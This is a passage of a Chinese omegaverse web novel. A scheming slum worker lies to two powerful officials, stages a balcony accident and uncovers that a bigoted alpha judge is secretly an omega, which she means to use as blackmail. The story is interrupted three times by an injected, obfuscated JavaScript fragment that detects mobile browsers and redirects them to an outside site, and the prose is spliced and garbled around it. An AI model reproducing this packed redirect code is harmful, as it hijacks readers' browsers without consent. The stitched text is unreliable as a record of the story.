beta女当即笑着反驳,“我还问你呢,你大晚上的来这里做什么?看着是上行城的人,不会是被赶出来的吧?” “你!”alpha男性表情凝固,有些恶毒的眼神凝聚起来,“我自然有我的公务在身!” “哈哈哈哈我不信。”beta女不愧是大艺术家,一言一句直戳痛点 我假装不存在,手指依旧抠抠。 你们两人慢慢吵,我就在旁边听。等你们吵出个所以然,我就可以判断出盒子到底给谁了。 两人的言语争执越来越激烈,甚至准备动刀动枪。 眼见就要打起来了,我就蹦出来“哎哟哎哟”劝架。 “不要吵了,都是误会。”我按住beta女的手,又往对面的alpha男方向招呼,“何况这里是贫民窟东区码头,来这里都是些不得已谋求生计的人,不要太苛刻了。” 等我说完,两人才互相暂停。 这里可是走私犯专用码头,两人说得再怎么义愤填膺,那都是来干坏事的啊!谁比谁高贵呢,一举报一个准! “那你呢?”beta女性对着我又扬起笑脸,“你真是跳海自杀?” 那肯定不是啊!我这样好的人要是死了,这个狗屎世界那就真的完蛋了! 但我敏锐地察觉出了什么,一直抠盒子边缘的手从口袋里拿出来,装模作样地擦擦眼角。 我湿漉漉的脸不影响我发挥。 我满脸苦涩,“你要这样说,也是吧。我实在找不到理由继续生活下去。” beta女来了兴致,“你说啊,让我听听你的故事。” 她还凑上了那边的人,“来,你也来听听怎么个事。” 有观众在场,那感情好啊。 我从口袋里拿出盒子,捧着盒子悲情又痛苦,“我……和那个人是没可能的。我们之间隔着太多东西了。钱,权,社会地位……偏偏我无法忍受自损尊严的办法留在他身边。” “呵,愚蠢的感情。”alpha男冷嗤一声,“为了点没用的感情寻死觅活,简直和Omega一样软弱不堪。” 我对他怒目而视,“感情是人类自发的情绪,这和性别没有关系!你可以不理解,但你得尊重!” beta女显然和我站一边,“你个没人爱的崽种,你是不是听我妹说话破防了?” “胡言乱语!beta果然都是蠢货!” 两人又要吵起来了。 我马上充当和事佬人把beta女的手压下,“不要吵了,也有我太懦弱的原因!” “是我在道德伦理和自我情感之间反复挣扎,是我没有勇气带着他逃跑又没有能力给予他幸福!一切,都是我的错!要惩罚就惩罚我吧,只有我死了才能彻底解脱!” 我悲愤交加,抱着盒子又要跳海,然后被beta女满脸动容地拉回来。 “别想不开!你没有错!你只是太爱他了!”beta女按着我的肩膀语重心长,“你是个赤诚的年轻人,你又怎么有错呢?错的是这个世界,是你们阴错阳差错付的感情!” 我透!这姐们好会说,不愧是大艺术家! 我竟然对这位第一次见面的beta女产生了同类之间惺惺相惜的感觉,不由得热泪盈眶。 “你真是个好人。”我给她发了一张好人卡。 “这个盒子是你们的定情信物?”beta女把我怀里的盒子拿走,“不如这样,盒子我先替你保管,等你理清楚这一段感情我就还给你。至于自杀,你就别再想了。” “这不太好吧?会不会太麻烦你?” “怎么会?帮助一个赤诚的年轻人,胜造十座图书馆!” 一番推心置腹,我的盒子成功送出去了。 旁观的alpha表情复杂,还带着点微妙的恶心。 呵,你们这群alpha男到处打孔钻洞的时候不恶心,怎么这会看见同性之间友好互动反而恶心了? 不会真是因为没人爱所以破防了吧? 我内心充满鄙夷。 两艘船总算是靠岸。 我走下甲板的时候打了个喷嚏。 beta女拿着通讯器站在甲板上操作,看着还会在原地待一会。 这是她们组织自己的事情,何况旁边还有个外人,我想问也问不了。 我又有些焦虑。我只得到了阿丽的口头承诺,又不知道组织内部的人如何传递信息。如果哪天阿丽离开了贫民窟,我又被抓住了,我该向谁求助? 难道是眼前的beta女?可她可能也只会在贫民窟内待一天甚至几个小时。我作为“区区配送员”甚至连她下一站目的地在哪都不知道。 我不由得开始诅咒当初在贫民窟内修建图书馆的洗黑钱官员。他为什么只捐赠一些空大话的鸡汤书,以至于我到现在对世界地图都处于一知半解的状态。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775049|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我就这样沉浸在自己的思考中,至于旁边的天龙人alpha男,我原本没想着搭理他。 直到我听见他的下属喊他“斯科特先生。”,我整个人冷汗直冒! 贫民窟里谁有这么高大上的姓氏? 天杀的!奥维拉随夫姓后就是斯科特啊! 奥维拉不是说他丈夫比蜜蜂还忙吗?为什么会出现在这里啊! 这种时候我倒是宁愿克斯蒂的未婚夫过来,起码我真的只是蹭蹭没进去!而奥维,我是不仅进去了,我还里外翻了个遍啊! 想起我刚刚真情表白感人肺腑的一番言论,我的心脏砰砰直跳。 哈哈哈应该没事的吧,我和奥维拉都是beta没有信息素,就是里外翻遍了也不会留下味道的…… 狗屎啊!斯科特只是四眼仔又不是真的眼瞎,他没眼睛看咬痕吗? 难道等两个法定配偶脱光光了往床上一躺,看见腰上的痕迹后问是怎么来的,然后奥维拉一句拔火罐弄的就能糊弄过去? 这话说出去谁信啊! 完蛋了完蛋了! 我好像看见处刑台了! 奥维拉你要害死我啊! 脑子里警报拉响,我默默地远离斯科特,朝着我停放自行车的阴暗小角落走去。 反正我没有说人名,肯定是不会被发现的。 而且奥维拉和我做的时候是第一次,说明什么?说明斯科特叽叽歪歪啊! 我诡异地平复了心情,迈向小角落的步伐也越来越镇定。 哈哈哈难怪斯科特会娶一个beta呢,原来是这个原因啊。他还得感谢我哩,我帮他稳定奥维拉的精神状态,可是付出了身心啊! 到达小角落,发现此处空荡荡什么也没有。 我的自行车被偷了。 天杀的,我要诅咒所有人! 要是让我知道谁偷了我的自行车,我要把他脑子打烂! 第二天,我发现我打烂不了任何人的脑子,反而是我自己的脑子被打烂了。 当我推开克斯蒂办公室大门走进去,看见斯科特的那一瞬间,我感觉我真的要死了。 alpha男性坐在单人沙发上,表情冰冷,眼下青黑,显然没有睡好觉。 “简,你应该告诉我那个该死的姘头到底是谁。”他说话的语气带着咬牙切齿,目光像是条毒蛇般吐着让人起鸡皮疙瘩的毒汁。 克斯蒂正在窗边修剪花枝,闻言笑容天真烂漫,“斯科特,虽然我是奥维拉的好友,但我确实更同情你。你已经够好了,而他也上了年纪,却做出恬不知耻的行径。” 说完,他克斯蒂扭头看见了我,于是朝我招招手,“无用,你也过来看看吧,这花怎么样?” 斯科特将视线转过来,看清楚我的脸后露出厌恶,“呵,怎么是你?” 我吞口唾沫,目光微微偏移。 克斯蒂对我两人的反应感到惊讶,“无用,斯科特,你们认识吗?” “怎么不认识?”斯科特取下金丝眼镜,用手帕慢条斯理地擦拭眼镜片,“昨天她为了情人寻死觅活地跳海自杀呢。” “咔嚓!” 剪刀切断了花朵的枝丫,将白色的栀子花一分为二。 克斯蒂笑容不变,再次看向我时的目光多了点冰冷。 “无用,是这样吗?” 我面无表情,实则内心爆炸。 斯科特此人下面叽叽歪歪就算了!怎么上面也叽叽歪歪! 12. 第 12 章 死嘴!快想法子狡辩啊! 我不想再进审讯室了! 我的大脑几乎旋转爆炸,但眼前的情形让我不得不打起精神来应对。 斯科特依旧在慢条斯理地擦眼睛,而克斯蒂则是站在窗边修剪花枝。分明是很和谐的一幕,可我就是觉得冷汗直冒,一股子鸡皮疙瘩从我的脊椎向上爬。 要死了要死了! 脑子快给我回忆昨天晚上我到底说了啥! “无用,你怎么不回答我?是真的吗?”克斯蒂催命似的说话。 斯科特面无表情的脸上浮现一丝讥讽,“简,你早就该知道,像beta这种性别,性格里就是懦弱的。” 放你爹的狗屁! 我差点破口大骂。你有本事在这骂我,怎么没本事把你昨天晚上歧视omega的话重复说一遍?但凡我有录音机我绝对放出来! 但我没敢说,我敢怒不敢言,只能用看似无奈痛苦实则疯狂思考地表达沉默。 良久,我声音沙哑说:“克斯蒂……我们能单独聊一聊吗?” 大概是我的表情太痛苦,对克斯蒂亲昵依赖的表情太娴熟,这让斯科特的眉毛又蹙起来。 而克斯蒂微微一怔,挥舞的剪刀停滞在半空。 他嘴角的笑意真情实意了些,然后对斯科特说:“抱歉,斯科特,或许你该出去一下。” 主人都发话了,斯科特也不能强行赖在这里。 于是他站起来往办公室外走。 路过我时,我明显看见他落在我身上的目光。 厌恶,鄙夷以及了然。 哈!要的就是这种效果! 仆人们很识趣地离开了办公室,然后把大门一关。 现在只剩下我们两个人了。 克斯蒂随手将剪刀丢了,脚步有些急切地来到我的身边,“无用,现在你可以告诉我发生了什么。” omega真的很有天赋。他们想要用温柔作为招式去引诱人的时候,不会有任何alpha拒绝。 不过我不是alpha,所以我不怕。 但我还是装作受蛊惑的样子,将脑袋垂下来,含着苦涩开口,“是,他说的没错,我昨晚确实去了海边。” 克斯蒂一下子就抓住了我的手。 我没动,就这样任由他抓着。 “克斯蒂……很抱歉,我不该隐瞒你,可我真的不知道该怎么办。”我的声音越来越低,“我就像我的名字一样,是个没用的废物。” “我的良知告诉我不能这样做,我的自尊心也告诉我不能这样做,可一切就这样发生了。” 克斯蒂的呼吸有些急促,踮起了脚尖要看清楚我藏在眼眸里的情绪。 我知道他想从我嘴里听到什么东西。。 “21日那天,我就不该……”我只说了一半,就让他脑补完接下来的所有剧情。 克斯蒂接下我的话,“他是不是做了什么强迫你的事?” 我嘴角泛着苦涩,“我不能这样说他……是我意志太薄弱了,这不怪他。也许他只是和丈夫分居太久了,而我又抱着侥幸的心里……” “所以你为什么去海边?” “因为我实在忍受不了了。”我回答,“克斯蒂,你能理解我吗?我的自尊心受挫,又无能为力改变现实,我除了一个办法外别无选择。我只是没想到被斯科特先生看见了。” “我今天才知道,原来他就是奥维拉的丈夫。” 克斯蒂听了我一番话后什么都没说,只是眼眸牢牢盯紧我。 看什么看!给我发表意见啊!你不说话我怎么演下去? 我缓缓地把我的手从克斯蒂的手中抽离,然后一点点往后退,展现出我愧疚又痛苦的神情,“我还是对他坦白吧。错得是我,我理应受到惩罚。” 克斯蒂终于动了。 他把我的手重新拉住,带着几乎某种愉悦和兴奋,“无用,你不用自责。” “奥维拉就是这样,没有办法,我真同情你。” 我疑惑,“克斯蒂?” 克斯蒂又开始缠绕自己的头发了,看向我的眼神中透着些许的笑意,“无用,你已经为你的错误赎罪了。你不是懦弱,你有勇气去跳海。至于奥维拉,他应该不会再纠缠你了。他的丈夫不会允许的,如果他还是不知廉耻地引诱你,他一定会被净身出户。” 他说话时的表情洋洋得意,看得出来是真心幸灾乐祸。 虽然早就知道他和奥维拉纯属塑料友情,但落井下石的样子实在是mean。 “克斯蒂,你的意思是说……”我把他的注意拉回来。 克斯蒂才想起来我似的,敷衍般说:“你已经赎罪了。无用,现在你是自由身,也不用再担心被他纠缠了。” 说完后,他想了想,又补充一句,“你在我这一直是有尊严的,不要再想其他了。” 到这份上,我又怎么会不知道克斯蒂一直把我当做赢过奥维拉的玩具呢? 好吧我一直都知道。我可不指望这些天龙人omega会从一开始就对beta另眼相待。他们就是喜欢施舍情绪,然后幻想自己是底层人的救世主。 实际上他们胸无点墨,一边谩骂alpha对自己性别歧视,一边又对beta性别歧视。等哪天被alpha打一巴掌了,就娇嗔一下躲进beta的怀抱里寻安慰。 我可太了解这群贱人的脾性了,当初在无人区的时候我没少给a和o一人一巴掌。 但是没关系,我这人虽然记仇但识趣。 不管他们怎么想,只要该给的好处没少,我就会任由他们搓圆搓扁。 于是我轻轻地握住了克斯蒂的指间,在他愣然的注视下,将他的指尖放在唇角然后落下一个虔诚的吻。 “克斯蒂,谢谢你。” “你比任何人都美好。” 克斯蒂像是被烫伤了一样,急忙收回手。 我则是对他笑了笑,说:“我以后不会再去海边了,克斯蒂。明天见。” 我很识趣地离开办公室,由着他抓住指间发愣。 “咔嚓!” 门关闭了。 克斯蒂依旧感觉指间发烫。 在吻落下的一瞬间,他感觉什么东西烙在了指间上,然后往上蔓延扎进喉咙里,让喉咙发紧。 本来是这样的。 只是把她当做一个可以争夺的玩具,在成功后随手就丢开。 可回忆起刚才的举动,克斯蒂又觉得哪里不一样,然后反复咀嚼她离开前的话。 美好?omega当然美好。大家都这样称赞omega,尤其是在omega生育后,称赞就会络绎不绝地砸过来。 可克斯蒂知道,她口中的美好不一样。 他连头发都没心思搅了,就是站在窗台边往下看。 通讯器响起声音,是奥维拉。 克斯蒂嗤笑一声。 又老又丑的beta,就算是费尽心思地引诱,也只是让她无法忍受地选择跳海。 于是他接通了通讯器。 下一秒,裹挟的愤怒的怒骂就传过来,“克斯蒂·简!是你把斯科特叫过来的!” 将通讯器丢在桌面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775050|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克斯蒂从喉间挤出一丝笑,“什么?我听不懂,奥维拉。对了奥维拉,你知道斯科特找我了吗?他说你有婚外情,哈哈哈,是谁呢?” “白无用。”斯科特在电梯前叫住了我。 我想翻白眼,但我知道这里有监控,我翻不了,于是只能憋屈地转过身看向他,“怎么了?斯科特先生?” alpha男具有明显的身高优势,站在我面前足足高了半个头。 近身的那一刻,我的鼻尖就环绕了一股淡淡的气味。 是信息素?不对吧,我一个beta怎么可能闻到? 那就只能是香水。 我站着没动,以不卑不亢的姿态面对他。 他居高临下看着我,冷冷说:“你和克斯蒂的关系,最好适可而止。” 哦呼~看来他认为我和克斯蒂才是情人关系。 我抿着唇,没否认也没承认,反而问了另外的话题,“斯科特先生,您和克斯蒂的关系很亲密吗?是多年的好友吗?” “和你无关。”他冷声。 “既然如此,那我和克斯蒂之间也与你无关。”我直视他的眼睛。 “事实上,我和克斯蒂很清白,一切都是我自作自受,他从没有对我表达过什么。”我一副正义凛然清高孤傲的模样,“是我的情感不受控制,是我懦弱地选择跳海。和他毫无关系,他从头到尾只是保持美好的品性对我加以信任,提拔我而已。” “我反而要质问你,斯科特先生。”我靠近他一步,在他明显恼怒的眼神中语气冰冷问:“作为一个有法定配偶的alpha,为什么要去质疑一个品性高尚并且有未婚夫的omega?” “你!”他破防了,一把抓住了我的衣襟,“区区一个beta,你有什么资格质疑我!” 我毫不畏惧,“难道你们alpha脑子里除了歧视其他人外就什么都没有了吗?” 此话一出,他完全愣住。 作为天龙人,还是一个从出生开始就站在金字塔第二层的alpha,竟然被底层小牛马侮辱了! 这怎么忍?根本忍不了! 于是他抬起拳头就要往我脸上呼! 我透的!可算是给我找到光明正大打天龙人的机会了! 但我还是很注意角度和形象的,每每落下拳头都是在监控看不到的角度,而每每被揍就是监控下最倔强又最可怜的角度。 要是克斯蒂没看监控那就算了,但他要是看了,那我就能站在道德的制高点上指指点点! 我们两人就这样扭打到摔进了电梯。 我随手摁下了一层,然后继续往斯科特的肚子上踹。 没想到他一个翻身,让我脚底板打滑迎面摔下去,将他撞到地面上! “砰!” 我的手按住他的后脑勺。 电光火石之间,我发现此人的身体猛然一僵,然后剧烈挣扎开我的手迅速退到了电梯的角落。 他的嘴角挂着伤,金丝眼镜早就破碎掉在地上,衣服凌乱不堪露出里面的皮肤。 暖色调的白,还有很多淤青和斑驳。 “你……”我欲言又止。 “闭嘴!”斯科特完全没有了最开始的高高在上,反而狼狈不堪地站在电梯角落。 他捂着后脑勺的位置,眼神恶毒地恨不得把我生吞活剥,“你敢把今天的事情说出去一个字,我就把你送上处刑台!” 我无语了。我又没把你怎么着,不就是打了你一顿吗,那么敏感做什么? 不就是堂堂alpha打架没打赢beta么,至于那么破防吗? 13.第 13 章 alpha的自尊心大概都是这样易碎脆弱的,随随便便说两句话就能让他破防。 在封闭的电梯空间内,我们面面相觑,谁都没有开口。 他就这样一直捂着后脑勺。 我可不记得我对他后脑勺做了什么。那是人体的重要部位,要真闹出人命死的第一个就是我。 电梯处于失重的状态,还在往下降落。 我靠着电梯墙壁,想了想就从口袋里掏出皱巴巴的纸巾递给他,“把嘴角的血擦擦吧。” 不然这擦了脸的纸巾没地方扔,多浪费啊。 你看我都主动示弱了,你识相点赶紧给我下台阶。 “不需要。”他冷哼一声,从他昂贵的外套口袋里拿出了洁白的手帕。 好在电梯内有镜子,他可以照着镜子整理着装。 不过他依旧没有把后脑勺露出来。 看着他这样的动作,我那触碰过他后脑勺的手不自觉搓了搓。 斯科特太奇怪了,某些地方敏感得可怕。 我忍不住思考,斯科特和奥维拉之间到底是什么关系。 他们好像是政治联姻,可听克斯蒂的话,奥维拉似乎处于这一段婚姻的劣势。 身为上行城的法官,我不相信斯科特不知道钻法律漏洞。 等他整理完,我脑海中的某个大胆的计划又诞生了。 或许……我可以铤而走险。 最开始我的目标只是好好活下去,扒紧奥维拉过上舒坦的日子。然后克斯蒂来了,我又想做公司老板。现在斯科特又来了,我想要的东西更多了。 我目前还没有胆量奢望去上行城,但我想要去克亚区。 我从通讯器里发送来的图片了解过,克亚区的人都很体面,都可以去超市购买新鲜食物,普通员工一天只需要工作十个小时,一个月还能拿六千的薪水。而且还有正规的教堂,教堂里面没有乱七八糟搞在一起的乞丐。 那我应该做什么?继续巴结奥维拉?还是让克斯蒂离开的时候顺便带我离开? 不,我可以利用斯科特。 他们这一对配偶显然感情不和,因为奥维拉是过错方,斯科特只要找到了姘头就会让奥维拉净身出户。到时候奥维拉离开贫民窟,我这个姘头会被送上处刑台。 而我有两个选择。 要么靠着克斯蒂隐瞒下这一段奸情然后让斯科特和奥维拉重修于好,我这个中间人可以从中得到报酬。等克斯蒂离开后,我在奥维拉的批准下前往克亚区,然后继续自己生活。 要么干脆以小博大找到斯科特的把柄,然后倒戈斯科特联合他一起逼奥维拉净身出户。到时候拥有把柄和的我可以持续不断地从斯科特的手里榨取利益。 第一个选择虽然收益小,但风险也小,只要好好操做就能实现。而第二个选择利益更长远,风险极大,稍有不慎就会被斯科特杀人灭口。 这么想着,我摩擦手指的动作更快了。 斯科特这人到底有什么把柄? 后脑勺……腺体? “抱歉。”我首先开口,“但我不后悔。” 他又想扯开讥讽的笑,但扯到了嘴角的伤口,于是“嘶”一声。 我继续说:“抱歉是因为我的冲动,不该侮辱你。而我不后悔,则是因为你不仅侮辱了我,也侮辱了克斯蒂。我无法忍受我的朋友受到嘲讽。” “朋友?”斯科特满眼不屑,“你最多是他心血来潮的玩具。简在这待不了多久,最多三个月他就会回去结婚。” 我没有生气,而是用同情的目光看他,“你就一定要这样吗?不断地给其他人泼脏水,明明大家都是很好的人,我甚至觉得你也是很好的人。” “什么?”斯科特的卡住了,有片刻地陷入空白,“你什么意思?” 我将皱巴巴的纸团赛会口袋,然后一点点靠近他,“我确实是个蠢笨的人,很多事情我想不明白。但我认为无论是你,还是克斯蒂,还是奥维拉,大家都很好。” “你和奥维拉什么关系?”他精准捕捉我话语中的重点。 “朋友。我从前是公司的基层配送员,经常会去警察局配送货物。”我老实回答,“然后我们就认识了。实不相瞒,我甚至很感激他,是他还了我清白。” 至于我其他的清白那肯定是没了。 见斯科特一脸疑惑,于是我真假参半地将二进宫审讯室的事情告诉他。 由于电梯不是说话的好地方,终于我们转移位置去了公司的露天阳台。 我不断向他透露奥维拉在贫民窟里的事迹。虽然很多都是我从犄角旮旯里翻出来的无关紧要的小事,但我深谙春秋笔法,成功将他的注意力勾走。 “我很感激他,如果不是他执意调查清楚,我可能在被抓走的当天就走上处刑台了。”我满怀感激说,“所以我想……或许他有不能说的苦衷呢?” 斯科特不言,而是将目光方向阳台外的风景。 我则是用我的小腿轻轻踢踹围栏,动作幅度很小,他没有发现。 其实风景没什么好看的。这个方向对准的是贫民窟,能看见的都是破破烂烂的木板房建筑物和密密麻麻堆积在一起的垃圾,以及蚂蚁一样的人。 我看了看斯科特,然后小声询问:“你爱他吗?” 斯科特侧过眼眸,对这个问题很不屑,“没必要的东西,我从不在意。” 我闻言,又把我的脸转回去,“可奥维拉他很渴望爱情。” “所以他就在外面寻找爱情?”斯科特被踩着几把一样转过来怒目圆睁,“他想要做什么我难道没有满足他吗?他想要和我分居,我同意了。他想要成为警督,我给他安排好了。他就算是想要我婚前十分之一的财产,我都同意了!他还有什么不满足?” “现在他想要婚外情,难道还要我把他的情人也接回家里,然后等着被那些八卦记者抓住机会拍下照片?” 斯科特说出最后一句话时愤怒的情绪到达顶峰,甚至让他整个人气得发抖。 “既然如此,为什么你们要结婚?”我好奇问。 我可太好奇你们到底为什么结婚了! 快和我说,说了我才知道怎么挑拨离间! “还不是因为——”斯科特戛然而止,又把嘴闭上了。 我透!烦死你们这群不好好说话的人了!吃屎吧! “你也有不得已的地方。”我沉重叹气,再次假模假样地安慰他,“我为我的理所当然感到抱歉,你很不容易了。” 我停下的踢踹栏杆的动作,而是选择往前靠在栏杆上。 “或许你们都没有错,只是很多事情没有办法,发生就是发生了。” 斯科特绷紧下颚线,两片薄薄的唇紧抿在一起,竟然有些发白。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778947|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我则是苦涩笑了一下,“我也没有办法,于是只能顺其自然。等克斯蒂三个月后离开,我就只能留在公司里怀着不切实际的希望继续等下去。” 我们两人都陷入了低气压中,靠着栏杆眺望远方的风景。 他的眼睛眯起来,很吃力地去分辨前方的贫民窟布局。 东区是走私码头,西区靠近警察局和公司,北区则靠近无人区,南区是连在一起的黑心工厂。 他应该还在想奥维拉的事情。 没事,我等会就让他没空想。 “时间不早了,回去吧。”我对他说道。 大概是刚刚的谈心让斯科特对我没有那么大的抵触了,竟然心态平和地昂首答应。 而我路过他身边时,侧眸看见了他掉在地上的东西,于是弯腰捡起来,“这是你的吗?” 斯科特目光落在我的手掌心,终于看清楚东西的样子后猛然瞪大眼然后伸出手抢夺! “咔嚓——” 有什么东西崩断了。 我看着斯科特的身子往后倒,撞上阳台的栏杆…… 然后整个人连着栏杆一起摔下去! 我眼疾手快抓住他,差点被他的体重也连带着摔下去,还好我抓住了边缘的栏杆才看看稳住! “抓紧我!”我对斯科特说道,“我会拉你上来!” 斯科特面色苍白,他费力抓紧我手的同时不受控制地往下看。 可他是个近视眼,什么也看不清楚。 可失重带来的强烈不适感还是让他想要呕吐,又被生生咽回去。 “别看下面。”我语气轻柔,“看我,斯科特,也别想其他的事情,你只要抓紧我就够了。” 公司的基层员工很忙碌,不会有人上来。而管理层有更好的地方享受,更不会过来。所以这里除了我和斯科特之外不会有其他人,哪怕阳台栏杆突然断裂,也只能是因为年久失修。 我就这样抓进斯科特,因为用力过多以至于另一只支撑的手有些抽筋发抖。 尖锐的刺插进我的手臂,顺着手臂往下落在斯科特的脸上,让他苍白的脸染上点奇异的红。 斯科特抿着唇,死死盯着我的眼睛。 我一点点往上拉,耗费了两分多钟才将他重新拉回平面。 回到平面时,斯科特倒在我的身上一动不动。 汗水顺着脖颈往下滴,落在我的下巴,额头和面颊上,而那一股莫名的气味更加浓郁了。 “没事了,斯科特。”我伸出手拍了拍斯科特的后脑勺,终于摸到他后脖颈处的抑制贴。 哈哈!我确定了!我知道斯科特的把柄是什么了! 这个人是个omega!哈哈哈哈!他是个伪装成alpha的omega! 谁又能想到呢?这个满嘴歧视omega,认为omega愚蠢又没脑子的大法官,自己就是个omega! 怪不得会娶奥维拉,怪不得身为alpha会喷香水,怪不得对后脑勺部位敏感! 我几乎抑制不住我的笑容,手却还是克制地离开了那块肌肤,然后改为握住他的肩膀将他撑起来。 “还好吗?斯科特?没事了,我把你救上来了,不是吗?”我扬起温柔的笑容,对他柔声安慰说道。 斯科特依旧面色苍白,却牢牢盯着我,然后吐出一句话,“白无用,你知道了。” 14.第 14 章 你这话说的,我还能装作不知道吗?那肯定不行啊! 我将他扶正坐好,直视他的眼睛展示我的真诚,“我无法说谎,我确实知道了。” 斯科特的眼神顷刻间变得狠厉起来,似乎下一秒就要亮出刀捅死我! “但我不会说出去。”我说道。 他冷笑,“只有死人才不会说话。” “……如果你要这么做,我没办法反抗。”我垂下脑袋,有些自嘲,“可我不后悔救你。我不后悔救下任何一条无辜的生命。” 斯科特的眼神凝滞一瞬,竟然有些不自然地移开视线,“你很擅长花言巧语。” “我一直都在说真心话。”我回答。 手臂很疼,大致看一下,伤口竟然长达十公分。 我疼得后背直冒汗,但控制自己不让表情变得龇牙咧嘴。 那可不好看,也不符合我的人设。 见斯科特还不说话,我决定放个大招,“就当你要杀我灭口吧,我能交代遗言吗?” 斯科特站起来,从上往下俯视我,“说。” “替我向克斯蒂说再见,他很好,我祝福他获得自由,不用再被性别拘束,想要和谁结婚就和谁结婚。然后是你。” 说到此处,我抬起头看他。 太阳有些大,刺得我眼睛疼,还挤出生理性的眼泪。 我看见斯科特的嘴唇抿起来,等待我的后半段话。 “你很厉害,你比我知道的很多alpha都厉害。”我语气真诚说着,并开始观察他的微表情。 背光下,我能够清晰看见他微微瞪大的眼睛。 “你娶奥维拉是迫不得已的,因为你没有办法。你本来可以做一个大家眼中受尽宠爱的omega,可你没有被那些糖刀子诱惑,你战胜了很多人。斯科特……你的优秀和性别无关,你就是个优秀的人,谁都没资格质疑你。” 好了好了。言尽于此,你要是再想要我的命就过分了啊! 现在立刻带我去处理伤口,再晚点我就要失血过多去死了! 我们两人就这样沉默着对视了好久,直至眼眸干涩发疼。 “莱文·斯科特,这才是我的全名。”斯科特突然说道。 他弯下腰,屈尊地伸出手把我从地上拉起来,“我……” 青年的嘴巴开开合合,几番纠结还是没有说出道歉的话。 得了吧,口头道歉我不需要,赶快带我去处理伤口! “你不打算杀我了吗?”我问他。 莱文眉头皱了皱,转过脸小声说:“嗯,没有必要。我来这有更重要的事情需要处理。” 什么事?说出来听听? 开玩笑的,我没敢问。 “这样……那个,请问你知道哪里有比较便宜的诊所吗?”我拐弯抹角提醒他。 “嗯,我带你去。”莱文才想起来我是个病号,“毕竟你也救了我,我会给你补偿。” 哇哦~这是什么狗屎表情?感情我救了你还是我的荣幸了? 我突然懊恼怎么刚才在电梯里没多揍几拳! 我内心骂骂咧咧地跟着莱文离开了。 当然,我没有忘记向克斯蒂请假。 他问我怎么回事,我就如实回答,顺便用春秋笔法在克斯蒂这里获取同情。 他果然给我打了一大笔钱,说这是工伤补偿。 哎嘿!就喜欢这种爽快人! 坐上豪华轿车的时候我有长达一秒钟的心虚和不自在,但下一秒我又理直气壮起来。 我可是莱文·斯科特的救命恩人……虽然其中有我从中作梗的原因,但我就是救了啊! “你的车很漂亮。”我难得说出一句大实话,“我上次做四个轮子的轿车是警车。” 好地狱的笑话,我被自己无语笑了。 莱文和我并排坐着,已经重新从下属的手中接过眼镜戴上。 他也终于看清楚了我手臂的伤口。 血腥味环绕在鼻腔的感觉并不好,有洁癖的他却只能屈尊忍着。 我认真地看着窗外的风景,将路过的景色详细记在脑子里。 贫民窟内的黑心诊所我去过几次,卫生条件糟糕收费却奇高。 如果不是我有令人敬佩的工匠精神和无与伦比的纯手工技术,我根本付不起医药费。 我的脑子里开始回荡黑心医生只穿白大褂躺手术台上说话时的表情。 太烧了,这不利于身心健康。 不能再想了,大不了过几天再去看看。 轿车平稳行驶离开贫民窟,朝着我完全陌生的地方去。 钢筋混泥土建造的房屋,干净整洁的街道,还有定期巡逻的警卫队。就连路灯都是完好无损没被人偷过电线的! 这里是贫民窟和克亚区过渡地区。普通人想要穿越这里需要向警察局打申请,获得批准后才能越过关卡。否则就会被墙外的士兵毫不留情击杀。 我无数次路过这里,幻想可以光明正大离开。 可是我没法离开,只能让那个人离开。 这是当初承诺好的,我后续想要离开克亚区少不得那个人的帮忙。 在面对那样的情况,我也不得不成为一个信守承诺的大好人。 终于达到医院,我下了车。 莱文让人给我处理伤口的时候语气很生硬,显然没怎么真切地关心过别人。 “医药费不用担心。”莱文表情僵硬,哽着脖子对我说,“后续有什么需要,联系我的助理就行。” 助理先生对我扬起商业假笑。 我也用点头表达我的礼貌。 “请脱下外套。”护士笑容甜美说道。 我乖乖照做,将伤口露出来。 就在这时,莱文的通讯器响了。 他看了一眼联系人,脸色变了变,转身去另一个地方接通。 我从中听见了几个关键词,“无人区”“叛乱党”“昂撒”等。 前面两个词语我听得懂,第三个显然是人名。 谁的名字?叛乱党组织首领的名字?还是21日宣讲组织人的主谋? 26日那会乱七八糟的信息重新卷入我的脑子。 首先我可以确认有多个叛乱党。 运送矿石的阿丽等人,举报我的便利店员等人……再大胆点猜测,或许连21日叛乱宣讲的人都是另外的炉灶。 天杀的!你们这群人就不能好好分工合作统一目标吗?一个贫民窟值得你们在这里打架吗? 内心怒骂时,我突然感觉到手掌心被什么东西挠了一下。 抬起眼眸看,长相甜美的护士朝我抛媚眼。 他温柔娴熟地替我给伤口消毒,发现我的视线后,就用脚跟噌我的小腿肚。 “你叫什么名字?”他小声问道。 我没回话。 